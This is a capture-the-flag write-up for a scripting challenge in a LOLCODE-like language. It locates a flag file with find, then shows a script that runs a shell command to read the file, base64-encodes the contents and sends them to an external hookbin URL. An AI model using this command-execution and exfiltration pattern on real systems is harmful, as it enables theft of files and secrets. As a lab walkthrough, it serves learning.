Tags: scripting 

Rating:

This challenge was very similar to LOLD2, but this time the flag was locate somewhere else, not in the directory where the script was running from.
I have to first locate where the flag was by using the find command

`find / -type f -name 'flag.txt' 2>/dev/null`

Two results came back
```
/opt/is/flag/for/me/flag.txt
/opt/challenge/flag.txt
```

I used the first result '**/opt/is/flag/for/me/flag.txt**' and the flag was in there.

**import** **os** - was used so that I can send system command.

**import** **urllib2** - was used so that I can make web requests to a website like '**hookbin**' where I can monitor all incoming requests, basically I was exfiltration base64 encoded data to a hookbin website. I was able to then review the data and decode it using **Cyberchef**.

**import** **base64** - was used to encode text so that I can make clean web requests.

```
GIMME os
GIMME urllib2
GIMME base64

cmd CAN HAS 'cat /opt/is/flag/for/me/flag.txt > out.txt'

os OWN system WIT cmd!

RF CAN HAS open WIT 'out.txt'!
RR CAN HAS RF OWN read THING

MB CAN HAS RR OWN encode WIT 'ascii'!
B64 CAN HAS base64 OWN b64encode WIT MB!

urllib2 OWN urlopen WIT 'https://hookb.in/QJ2NJ3NNaOC8mNzzlM08?flag=' ALONG WITH B64!
```